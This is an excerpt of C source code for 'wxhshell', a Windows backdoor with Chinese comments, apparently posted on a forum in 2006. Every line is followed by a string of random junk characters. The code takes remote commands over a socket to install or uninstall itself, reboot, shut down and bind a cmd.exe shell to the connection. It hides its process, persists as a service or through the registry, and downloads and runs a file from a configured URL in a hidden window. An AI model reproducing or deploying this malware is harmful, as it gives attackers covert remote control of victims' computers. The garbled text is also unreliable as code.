    switch(cmd[0]) { {"jtR<{)  
  @o[ZJ4>*  
  // 帮助 m 70r'b]  
  case '?': { Z6B$\Q5Od  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gZHgL7@  
    break; sssw(F  
  } t<Sa ;[+  
  // 安装 0SD'&   
  case 'i': { Xf ^_y(?  
    if(Install()) (tO4UI5!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &SIf|IX.  
    else e!Z}aOeE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M_0f{  
    break; [Zdrm:=]L  
    } 8XVRRk  
  // 卸载 6b*xhu\  
  case 'r': { `C_qqf  
    if(Uninstall()) i^WY/ OhL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'xd8rN %T  
    else  Xcfd]29  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jNbVp{%/S}  
    break; j hRr!  
    } _G)A$6weU  
  // 显示 wxhshell 所在路径 "T[BSj?E  
  case 'p': { o5/BE`VD5c  
    char svExeFile[MAX_PATH]; aF/DFaiYv  
    strcpy(svExeFile,"\n\r"); 0fj C>AS  
      strcat(svExeFile,ExeFile); o w(9dB&E  
        send(wsh,svExeFile,strlen(svExeFile),0); @|h9jx|  
    break; UZsvYy?  
    } }r18Y6  
  // 重启 7r:&%?2:g  
  case 'b': { |FFz $'8)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FzOWM7+\  
    if(Boot(REBOOT)) ;E{jn4B'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {KDN|o+%  
    else { ;t>4VA  
    closesocket(wsh); ~jJ.E_i  
    ExitThread(0); iWWtL  
    } 6RIbsy  
    break; L~/L<Ms  
    } `]]5!U2  
  // 关机 ElTB{C>u  
  case 'd': { 7Wv.-LD6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $S>bcsAy  
    if(Boot(SHUTDOWN)) *Mg@j;+5s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C@;e<  
    else { qu#xc0?  
    closesocket(wsh); .~ uKr^%  
    ExitThread(0); (z;lNl(*C  
    } hrJ(][8  
    break; Yt=)=n  
    } IkmEctAU  
  // 获取shell k|>yFc  
  case 's': { @}PXBU   
    CmdShell(wsh); M_+W5Gz<  
    closesocket(wsh); ^?]-Q*w3Qs  
    ExitThread(0); ?=)lbSu K  
    break; Y8%l)g  
  } |3FGMg%  
  // 退出 5'DY)s-K  
  case 'x': { Kt qOA[6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tf54EIy5Y  
    CloseIt(wsh); Q "NZE  
    break; f.j<VKF}  
    } 3S#p4{3   
  // 离开 A|K=>7n]U  
  case 'q': { h$sOJs~6h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GwXhn2  
    closesocket(wsh); s% rmfIp"  
    WSACleanup(); MrUjqv6a[  
    exit(1); =!DX,S7  
    break; u,:hT] ~+  
        } GL>YJ%  
  } Yx,E5}-  
  } zC:Pg4=w]  
|_g7k2oLY  
  // 提示信息 T9J&^I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q3hSWXq'  
} ]5@n`;&#.  
  } OpazWcMoo  
+VQD'  
  return; :B=Gb8?  
} ^B%ki  
'y>Y*/  
// shell模块句柄 y:Gn58\o  
int CmdShell(SOCKET sock) ?Hdu=+ZV  
{ ) x+edYw  
STARTUPINFO si; n(V{ [  
ZeroMemory(&si,sizeof(si)); )RTWt`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &ID! lEd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?vbAaRg50s  
PROCESS_INFORMATION ProcessInfo; 2[=3-1c  
char cmdline[]="cmd"; 4 7mT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S8kzAT  
  return 0; tBJ4lb  
} $8(QBZq  
Y j bp:  
// 自身启动模式 u^MRKLn  
int StartFromService(void) IIT[^_g  
{ mrsmul{  
typedef struct rqp]{?33  
{ qs\Cwn!  
  DWORD ExitStatus; $nW9VMa  
  DWORD PebBaseAddress; .9Cy<z  
  DWORD AffinityMask; LauGT* z!  
  DWORD BasePriority; C+M]"{Y+  
  ULONG UniqueProcessId; J2 )h":2  
  ULONG InheritedFromUniqueProcessId; 'wYIJK~1  
}   PROCESS_BASIC_INFORMATION; dR_6j}  
SWhzcqp  
PROCNTQSIP NtQueryInformationProcess; A15Kj#Oy  
`9^+KK"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |/xx**?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uh.;Jj;  
U/A iI;Ne  
  HANDLE             hProcess; \\13n4fAv  
  PROCESS_BASIC_INFORMATION pbi; _x""-X~OL  
sG_/E-%5'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EN[T3 Y  
  if(NULL == hInst ) return 0; Ua:@,};  
}.'rhR+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2ry@<88  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'oY#a9~Z{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _[E+D0A  
1|w@f&W"  
  if (!NtQueryInformationProcess) return 0; k]$oir  
P%Vq#5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =+mb@#="m  
  if(!hProcess) return 0; uJH[C>  
\X\f ~CB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; | ?vm.zp  
K,! V _  
  CloseHandle(hProcess); Z- a  
Dj c-f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Pf,@U'f|  
if(hProcess==NULL) return 0; d8agM/F*/  
6| B9kh}  
HMODULE hMod; 1,) yEeHjU  
char procName[255]; >w7KOVbN3  
unsigned long cbNeeded; ^<-r57pz  
@q>Hl`a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M!i|,S  
l"}_+5  
  CloseHandle(hProcess); BK=w'1U  
ToPjB vD  
if(strstr(procName,"services")) return 1; // 以服务启动 "OwVCym?  
#z%D d{E  
  return 0; // 注册表启动 :8oJG8WH  
} ~AYleM  
i@5Fne  
// 主模块 ihwJBN>(  
int StartWxhshell(LPSTR lpCmdLine) of_y<dd[G  
{ 9`N5$;NzY  
  SOCKET wsl; `vOL3`P  
BOOL val=TRUE; sfr+W-7kx  
  int port=0; =c*l!."0  
  struct sockaddr_in door; >L!c} Ku  
_9 '_w&  
  if(wscfg.ws_autoins) Install(); @>VVB{1@,]  
jy2gR1~  
port=atoi(lpCmdLine); pk.\IKlG]  
/; Bmh=  
if(port<=0) port=wscfg.ws_port; UsFn!!+  
.S-)  
  WSADATA data; m Rw0R{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~I+MuI[  
s^eiym P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YcDKRyrt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); njX$?V   
  door.sin_family = AF_INET; f4Y)GO<R]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HW~-GcU-o  
  door.sin_port = htons(port); D%yY&q;  
bz#]>RD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =iKl<CqI$E  
closesocket(wsl); cXqYO|3/M  
return 1; C[ mTVxd  
} kq5X<'MM9N  
P* `*^r3  
  if(listen(wsl,2) == INVALID_SOCKET) { 1,;X4/*  
closesocket(wsl); p+V#86(3  
return 1; J,CwC)  
} *QiQ,~Ep  
  Wxhshell(wsl); rfEWh Vy(}  
  WSACleanup(); f!#!  
/ 'qoKof  
return 0; 9)'f)60^  
lh"*$.j-  
} c'eZ-\d{  
]n|Jc_Y  
// 以NT服务方式启动 m:?"|.]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (XVBH 1p"  
{ \/Mx|7<  
DWORD   status = 0; ,oA<xP-*  
  DWORD   specificError = 0xfffffff; esnq/  
6ABK)m-y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :+PE1=v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W~ET/h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (n*:LS=0  
  serviceStatus.dwWin32ExitCode     = 0; p8!T) ?|  
  serviceStatus.dwServiceSpecificExitCode = 0; A'KH_])  
  serviceStatus.dwCheckPoint       = 0; [rT.k5_  
  serviceStatus.dwWaitHint       = 0; [|KvlOvP  
?PT> V,&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @ps(3~?7  
  if (hServiceStatusHandle==0) return; nlNk  
qt~=47<d  
status = GetLastError(); :HO5 T  
  if (status!=NO_ERROR) z2uL[deN'"  
{ )|lxzlk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pqfX}x  
    serviceStatus.dwCheckPoint       = 0; R^*baiXVI  
    serviceStatus.dwWaitHint       = 0; }LT&BNZj  
    serviceStatus.dwWin32ExitCode     = status; dg24h7|]  
    serviceStatus.dwServiceSpecificExitCode = specificError; aaFT   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Nj9,Va(t  
    return; aE`d[d SG  
  } c[,h|~K/_?  
6UeYZ g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R{H[< s+n  
  serviceStatus.dwCheckPoint       = 0; e(? w h   
  serviceStatus.dwWaitHint       = 0; O1z]d3x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'f-r 6'_ZX  
} FzJ7 OE |  
$0 olqt:  
// 处理NT服务事件,比如:启动、停止 W}CM;~*L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uX6yhaOp|  
{ LTTMa-]Yy  
switch(fdwControl) {p84fR1P  
{ t R|dnC4U  
case SERVICE_CONTROL_STOP: a]T:wUYG'  
  serviceStatus.dwWin32ExitCode = 0; lhGJ/By- -  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Kgu8E:nL  
  serviceStatus.dwCheckPoint   = 0; I x%>aee  
  serviceStatus.dwWaitHint     = 0; kUf i  
  { (aa2uctTn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3T2]V?   
  } @b,Az{EH  
  return; 9 %T??-  
case SERVICE_CONTROL_PAUSE: "=djo+y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pd|KIs%jl  
  break; Jay"  
case SERVICE_CONTROL_CONTINUE:  yfZNL?2x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "o&8\KSs  
  break; |vI`u[P  
case SERVICE_CONTROL_INTERROGATE: ?;ok9Y  
  break; G.rz6o;  
}; aTuu",f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -fq  
} K($l>PB,y@  
l_^SU8i57  
// 标准应用程序主函数 W,<q!<z\t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zw>L0gC  
{ t}YcB`q)  
?*fY$93O  
// 获取操作系统版本 vk92j?  
OsIsNt=GetOsVer(); 7FG;fJ;&NZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S(zp_  
h1w({<q*ov  
  // 从命令行安装 l6/VJ~(}'  
  if(strpbrk(lpCmdLine,"iI")) Install(); m4mE7Wn.3  
O[Vet/^)  
  // 下载执行文件 Jb QK$[z"  
if(wscfg.ws_downexe) { ZZY#.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K~TwyB-h  
  WinExec(wscfg.ws_filenam,SW_HIDE); e&}W#  
} IfK~~XYG  
Lx0nLJ\  
if(!OsIsNt) { cS;3,#$  
// 如果时win9x,隐藏进程并且设置为注册表启动 SVe]2ONd  
HideProc(); 9TW[;P2> )  
StartWxhshell(lpCmdLine); ^65I,Z"  
} O3} JOv_  
else EwC]%BZP  
  if(StartFromService()) ?QOU9"@+B  
  // 以服务方式启动  `q?3ux  
  StartServiceCtrlDispatcher(DispatchTable); b@Ej$t&  
else qjB:6Jq4q  
  // 普通方式启动 #-0e0  
  StartWxhshell(lpCmdLine); &k:xr,N=  
oD)]4|  
return 0; !g@K y$  
}
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只看该作者 1 发表于: 2006-10-10
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